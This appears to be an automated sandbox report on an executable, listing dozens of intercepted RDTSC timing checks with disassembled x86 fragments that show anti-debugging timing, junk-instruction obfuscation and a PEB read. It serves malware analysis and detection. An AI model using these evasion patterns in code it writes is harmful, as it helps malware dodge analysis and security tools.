Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86C5E second address: A86C6C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 pushad 0x00000006 push ecx 0x00000007 pop ecx 0x00000008 push eax 0x00000009 pop eax 0x0000000a pushad 0x0000000b popad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A86DDA second address: A86E10 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF27h 0x00000007 jmp 00007FFAA4B0AF27h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push ecx 0x0000000f pushad 0x00000010 popad 0x00000011 pop ecx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87AB9 second address: A87ACD instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 jmp 00007FFAA4EF80CBh 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A87ACD second address: A87AF1 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jg 00007FFAA4B0AF16h 0x00000009 jl 00007FFAA4B0AF16h 0x0000000f jmp 00007FFAA4B0AF21h 0x00000014 popad 0x00000015 push edi 0x00000016 push eax 0x00000017 push edx 0x00000018 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B84D second address: A8B855 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push ecx 0x00000005 pop ecx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: A8B855 second address: A8B86F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4B0AF26h 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6157 second address: AA617D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 push edi 0x0000000a pop edi 0x0000000b jbe 00007FFAA4EF80C6h 0x00000011 push eax 0x00000012 pop eax 0x00000013 jmp 00007FFAA4EF80CEh 0x00000018 popad 0x00000019 push eax 0x0000001a push edx 0x0000001b push eax 0x0000001c pop eax 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA617D second address: AA6181 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA6181 second address: AA619D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4EF80D6h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AA619D second address: AA61A2 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEA71 second address: AAEA8F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80D5h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEA8F second address: AAEAC1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4B0AF25h 0x00000009 popad 0x0000000a jmp 00007FFAA4B0AF28h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEC2F second address: AAEC33 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEC33 second address: AAEC3E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push ecx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAEDC4 second address: AAEDCA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF236 second address: AAF23A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF3C6 second address: AAF3CA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF54A second address: AAF54E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF7CC second address: AAF7D4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF7D4 second address: AAF7D8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AAF7D8 second address: AAF7DE instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2878 second address: AB287C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB292B second address: AB2930 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2930 second address: AB2949 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edi 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 pushad 0x00000009 push edx 0x0000000a jnp 00007FFAA4B0AF16h 0x00000010 pop edx 0x00000011 push eax 0x00000012 push edx 0x00000013 jno 00007FFAA4B0AF16h 0x00000019 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2949 second address: AB294D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB2C23 second address: AB2C2C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop esi 0x00000005 push eax 0x00000006 push edx 0x00000007 push esi 0x00000008 pop esi 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5EA4 second address: AB5EC7 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FFAA4EF80CBh 0x00000009 je 00007FFAA4EF80C6h 0x0000000f push edx 0x00000010 pop edx 0x00000011 popad 0x00000012 pop edi 0x00000013 push eax 0x00000014 push edx 0x00000015 js 00007FFAA4EF80D2h 0x0000001b push eax 0x0000001c push edx 0x0000001d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5EC7 second address: AB5ECD instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5ECD second address: AB5ED1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5A73 second address: AB5A88 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 js 00007FFAA4B0AF16h 0x0000000a pop esi 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jno 00007FFAA4B0AF16h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: AB5A88 second address: AB5A8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB074A second address: 4DB074E instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB074E second address: 4DB0754 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0754 second address: 4DB0783 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF23h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 xchg eax, ecx 0x0000000a pushad 0x0000000b push ecx 0x0000000c mov ch, dl 0x0000000e pop ecx 0x0000000f mov edx, 08724C20h 0x00000014 popad 0x00000015 call dword ptr [74E5188Ch] 0x0000001b mov edi, edi 0x0000001d push ebp 0x0000001e mov ebp, esp 0x00000020 push ecx 0x00000021 mov ecx, dword ptr [7FFE0004h] 0x00000027 mov dword ptr [ebp-04h], ecx 0x0000002a cmp ecx, 01000000h 0x00000030 jc 00007FFAA4B3C9F5h 0x00000036 mov eax, 7FFE0320h 0x0000003b mov eax, dword ptr [eax] 0x0000003d mul ecx 0x0000003f shrd eax, edx, 00000018h 0x00000043 mov esp, ebp 0x00000045 pop ebp 0x00000046 ret 0x00000047 push eax 0x00000048 push edx 0x00000049 push eax 0x0000004a push edx 0x0000004b push eax 0x0000004c push edx 0x0000004d rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0783 second address: 4DB0787 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0787 second address: 4DB0797 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Ch 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4DB0797 second address: 4DB06AB instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov edx, 1F8C4114h 0x00000008 jmp 00007FFAA4EF80CDh 0x0000000d popad 0x0000000e pop edx 0x0000000f pop eax 0x00000010 pop ecx 0x00000011 pushad 0x00000012 call 00007FFAA4EF80CCh 0x00000017 pushfd 0x00000018 jmp 00007FFAA4EF80D2h 0x0000001d add cx, 23F8h 0x00000022 jmp 00007FFAA4EF80CBh 0x00000027 popfd 0x00000028 pop esi 0x00000029 jmp 00007FFAA4EF80D9h 0x0000002e popad 0x0000002f ret 0x00000030 nop 0x00000031 xor esi, eax 0x00000033 lea eax, dword ptr [ebp-10h] 0x00000036 push eax 0x00000037 call 00007FFAA98A5867h 0x0000003c mov edi, edi 0x0000003e jmp 00007FFAA4EF80CDh 0x00000043 xchg eax, ebp 0x00000044 pushad 0x00000045 mov bh, ah 0x00000047 mov ecx, ebx 0x00000049 popad 0x0000004a push eax 0x0000004b push eax 0x0000004c push edx 0x0000004d jmp 00007FFAA4EF80D1h 0x00000052 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90058 second address: 4D9005E instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9005E second address: 4D90091 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 xchg eax, ebp 0x00000009 jmp 00007FFAA4EF80D9h 0x0000000e mov ebp, esp 0x00000010 push eax 0x00000011 push edx 0x00000012 jmp 00007FFAA4EF80CDh 0x00000017 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90091 second address: 4D90097 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90097 second address: 4D9009B instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9009B second address: 4D900BD instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr fs:[00000030h] 0x0000000e push eax 0x0000000f push edx 0x00000010 jmp 00007FFAA4B0AF22h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900BD second address: 4D900DE instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CBh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 sub esp, 18h 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f jmp 00007FFAA4EF80CBh 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900DE second address: 4D900E4 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900E4 second address: 4D900E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D900E8 second address: 4D9017C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b xchg eax, ebx 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FFAA4B0AF1Dh 0x00000013 and cx, CAC6h 0x00000018 jmp 00007FFAA4B0AF21h 0x0000001d popfd 0x0000001e popad 0x0000001f push eax 0x00000020 pushad 0x00000021 call 00007FFAA4B0AF27h 0x00000026 pushfd 0x00000027 jmp 00007FFAA4B0AF28h 0x0000002c sub esi, 676DADC8h 0x00000032 jmp 00007FFAA4B0AF1Bh 0x00000037 popfd 0x00000038 pop eax 0x00000039 movsx ebx, cx 0x0000003c popad 0x0000003d xchg eax, ebx 0x0000003e push eax 0x0000003f push edx 0x00000040 push eax 0x00000041 push edx 0x00000042 jmp 00007FFAA4B0AF1Ah 0x00000047 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9017C second address: 4D90180 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90180 second address: 4D90186 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90186 second address: 4D9022F instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4EF80CEh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov ebx, dword ptr [eax+10h] 0x0000000c pushad 0x0000000d pushfd 0x0000000e jmp 00007FFAA4EF80CEh 0x00000013 sbb cx, 6288h 0x00000018 jmp 00007FFAA4EF80CBh 0x0000001d popfd 0x0000001e pushfd 0x0000001f jmp 00007FFAA4EF80D8h 0x00000024 and ch, FFFFFFE8h 0x00000027 jmp 00007FFAA4EF80CBh 0x0000002c popfd 0x0000002d popad 0x0000002e xchg eax, esi 0x0000002f jmp 00007FFAA4EF80D6h 0x00000034 push eax 0x00000035 pushad 0x00000036 jmp 00007FFAA4EF80D1h 0x0000003b call 00007FFAA4EF80D0h 0x00000040 mov si, CCC1h 0x00000044 pop esi 0x00000045 popad 0x00000046 xchg eax, esi 0x00000047 push eax 0x00000048 push edx 0x00000049 pushad 0x0000004a push ecx 0x0000004b pop edi 0x0000004c mov di, ax 0x0000004f popad 0x00000050 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9022F second address: 4D9023D instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4B0AF1Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9023D second address: 4D90309 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov esi, dword ptr [74E806ECh] 0x0000000e pushad 0x0000000f pushad 0x00000010 mov bh, D7h 0x00000012 mov ecx, 6DDB679Bh 0x00000017 popad 0x00000018 mov ah, E2h 0x0000001a popad 0x0000001b test esi, esi 0x0000001d jmp 00007FFAA4EF80D3h 0x00000022 jne 00007FFAA4EF909Eh 0x00000028 jmp 00007FFAA4EF80D6h 0x0000002d xchg eax, edi 0x0000002e pushad 0x0000002f mov ecx, 4858069Dh 0x00000034 mov ecx, 6D336F99h 0x00000039 popad 0x0000003a push eax 0x0000003b jmp 00007FFAA4EF80CFh 0x00000040 xchg eax, edi 0x00000041 pushad 0x00000042 pushfd 0x00000043 jmp 00007FFAA4EF80D4h 0x00000048 sub ch, 00000058h 0x0000004b jmp 00007FFAA4EF80CBh 0x00000050 popfd 0x00000051 pushad 0x00000052 pushad 0x00000053 popad 0x00000054 mov bh, ch 0x00000056 popad 0x00000057 popad 0x00000058 call dword ptr [74E50B60h] 0x0000005e mov eax, 750BE5E0h 0x00000063 ret 0x00000064 jmp 00007FFAA4EF80D7h 0x00000069 push 00000044h 0x0000006b push eax 0x0000006c push edx 0x0000006d jmp 00007FFAA4EF80D5h 0x00000072 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90309 second address: 4D90345 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF21h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edi 0x0000000a pushad 0x0000000b call 00007FFAA4B0AF1Ch 0x00000010 pop edx 0x00000011 push ecx 0x00000012 push edx 0x00000013 pop esi 0x00000014 pop ebx 0x00000015 popad 0x00000016 xchg eax, edi 0x00000017 push eax 0x00000018 push edx 0x00000019 push eax 0x0000001a push edx 0x0000001b jmp 00007FFAA4B0AF1Eh 0x00000020 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90345 second address: 4D9034B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9034B second address: 4D9039B instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Eh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a jmp 00007FFAA4B0AF1Bh 0x0000000f xchg eax, edi 0x00000010 jmp 00007FFAA4B0AF26h 0x00000015 push dword ptr [eax] 0x00000017 push eax 0x00000018 push edx 0x00000019 jmp 00007FFAA4B0AF27h 0x0000001e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D903FC second address: 4D90459 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 mov dx, cx 0x00000006 pushad 0x00000007 popad 0x00000008 popad 0x00000009 pop edx 0x0000000a pop eax 0x0000000b mov esi, eax 0x0000000d jmp 00007FFAA4EF80CCh 0x00000012 test esi, esi 0x00000014 jmp 00007FFAA4EF80D0h 0x00000019 je 00007FFB14F67347h 0x0000001f push eax 0x00000020 push edx 0x00000021 pushad 0x00000022 pushfd 0x00000023 jmp 00007FFAA4EF80CDh 0x00000028 sub eax, 3DA4C906h 0x0000002e jmp 00007FFAA4EF80D1h 0x00000033 popfd 0x00000034 mov ebx, esi 0x00000036 popad 0x00000037 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90459 second address: 4D9045F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9045F second address: 4D90463 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90463 second address: 4D904CB instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF1Fh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 pop edx 0x0000000a pop eax 0x0000000b sub eax, eax 0x0000000d pushad 0x0000000e push ebx 0x0000000f pushfd 0x00000010 jmp 00007FFAA4B0AF20h 0x00000015 sbb esi, 5100B208h 0x0000001b jmp 00007FFAA4B0AF1Bh 0x00000020 popfd 0x00000021 pop ecx 0x00000022 jmp 00007FFAA4B0AF29h 0x00000027 popad 0x00000028 mov dword ptr [esi], edi 0x0000002a push eax 0x0000002b push edx 0x0000002c jmp 00007FFAA4B0AF1Dh 0x00000031 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D904CB second address: 4D9056C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 pushad 0x00000004 popad 0x00000005 pushfd 0x00000006 jmp 00007FFAA4EF80CDh 0x0000000b add cx, CE86h 0x00000010 jmp 00007FFAA4EF80D1h 0x00000015 popfd 0x00000016 popad 0x00000017 pop edx 0x00000018 pop eax 0x00000019 mov dword ptr [esi+04h], eax 0x0000001c jmp 00007FFAA4EF80CEh 0x00000021 mov dword ptr [esi+08h], eax 0x00000024 jmp 00007FFAA4EF80D0h 0x00000029 mov dword ptr [esi+0Ch], eax 0x0000002c jmp 00007FFAA4EF80D0h 0x00000031 mov eax, dword ptr [ebx+4Ch] 0x00000034 push eax 0x00000035 push edx 0x00000036 pushad 0x00000037 pushad 0x00000038 popad 0x00000039 pushfd 0x0000003a jmp 00007FFAA4EF80D3h 0x0000003f adc eax, 37C1CFCEh 0x00000045 jmp 00007FFAA4EF80D9h 0x0000004a popfd 0x0000004b popad 0x0000004c rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D9056C second address: 4D90572 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90572 second address: 4D90655 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov dword ptr [esi+10h], eax 0x0000000b jmp 00007FFAA4EF80CFh 0x00000010 mov eax, dword ptr [ebx+50h] 0x00000013 pushad 0x00000014 jmp 00007FFAA4EF80D4h 0x00000019 jmp 00007FFAA4EF80D2h 0x0000001e popad 0x0000001f mov dword ptr [esi+14h], eax 0x00000022 pushad 0x00000023 pushfd 0x00000024 jmp 00007FFAA4EF80CEh 0x00000029 add ch, 00000008h 0x0000002c jmp 00007FFAA4EF80CBh 0x00000031 popfd 0x00000032 mov esi, 07DDCF7Fh 0x00000037 popad 0x00000038 mov eax, dword ptr [ebx+54h] 0x0000003b jmp 00007FFAA4EF80D2h 0x00000040 mov dword ptr [esi+18h], eax 0x00000043 jmp 00007FFAA4EF80D0h 0x00000048 mov eax, dword ptr [ebx+58h] 0x0000004b jmp 00007FFAA4EF80D0h 0x00000050 mov dword ptr [esi+1Ch], eax 0x00000053 jmp 00007FFAA4EF80D0h 0x00000058 mov eax, dword ptr [ebx+5Ch] 0x0000005b pushad 0x0000005c pushfd 0x0000005d jmp 00007FFAA4EF80CEh 0x00000062 sub ah, 00000028h 0x00000065 jmp 00007FFAA4EF80CBh 0x0000006a popfd 0x0000006b pushad 0x0000006c movzx eax, di 0x0000006f push eax 0x00000070 push edx 0x00000071 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90655 second address: 4D906C6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 popad 0x00000006 mov dword ptr [esi+20h], eax 0x00000009 jmp 00007FFAA4B0AF27h 0x0000000e mov eax, dword ptr [ebx+60h] 0x00000011 jmp 00007FFAA4B0AF26h 0x00000016 mov dword ptr [esi+24h], eax 0x00000019 push eax 0x0000001a push edx 0x0000001b pushad 0x0000001c push ebx 0x0000001d pop ecx 0x0000001e pushfd 0x0000001f jmp 00007FFAA4B0AF29h 0x00000024 or ah, 00000006h 0x00000027 jmp 00007FFAA4B0AF21h 0x0000002c popfd 0x0000002d popad 0x0000002e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D906C6 second address: 4D906D6 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FFAA4EF80CCh 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D906D6 second address: 4D906E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [ebx+64h] 0x0000000b pushad 0x0000000c push eax 0x0000000d push edx 0x0000000e mov ebx, 7E160E3Eh 0x00000013 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D906E9 second address: 4D907E9 instructions: 0x00000000 rdtsc 0x00000002 pushfd 0x00000003 jmp 00007FFAA4EF80CFh 0x00000008 xor ecx, 120082EEh 0x0000000e jmp 00007FFAA4EF80D9h 0x00000013 popfd 0x00000014 pop edx 0x00000015 pop eax 0x00000016 pushfd 0x00000017 jmp 00007FFAA4EF80D0h 0x0000001c add eax, 6ACD7A68h 0x00000022 jmp 00007FFAA4EF80CBh 0x00000027 popfd 0x00000028 popad 0x00000029 mov dword ptr [esi+28h], eax 0x0000002c jmp 00007FFAA4EF80D6h 0x00000031 mov eax, dword ptr [ebx+68h] 0x00000034 jmp 00007FFAA4EF80D0h 0x00000039 mov dword ptr [esi+2Ch], eax 0x0000003c pushad 0x0000003d pushfd 0x0000003e jmp 00007FFAA4EF80CEh 0x00000043 adc ax, CF28h 0x00000048 jmp 00007FFAA4EF80CBh 0x0000004d popfd 0x0000004e call 00007FFAA4EF80D8h 0x00000053 mov bl, ah 0x00000055 pop ebx 0x00000056 popad 0x00000057 mov ax, word ptr [ebx+6Ch] 0x0000005b pushad 0x0000005c mov ecx, 5714A5FFh 0x00000061 pushfd 0x00000062 jmp 00007FFAA4EF80D4h 0x00000067 xor ecx, 2864E3E8h 0x0000006d jmp 00007FFAA4EF80CBh 0x00000072 popfd 0x00000073 popad 0x00000074 mov word ptr [esi+30h], ax 0x00000078 push eax 0x00000079 push edx 0x0000007a push eax 0x0000007b push edx 0x0000007c pushad 0x0000007d popad 0x0000007e rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D907E9 second address: 4D90804 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FFAA4B0AF27h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90804 second address: 4D90828 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop esi 0x00000005 push ebx 0x00000006 pop esi 0x00000007 popad 0x00000008 pop edx 0x00000009 pop eax 0x0000000a mov ax, word ptr [ebx+00000088h] 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FFAA4EF80CFh 0x0000001a rdtsc
Source: C:\Users\user\Desktop\file.exe	RDTSC instruction interceptor: First address: 4D90828 second address: 4D9082E instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
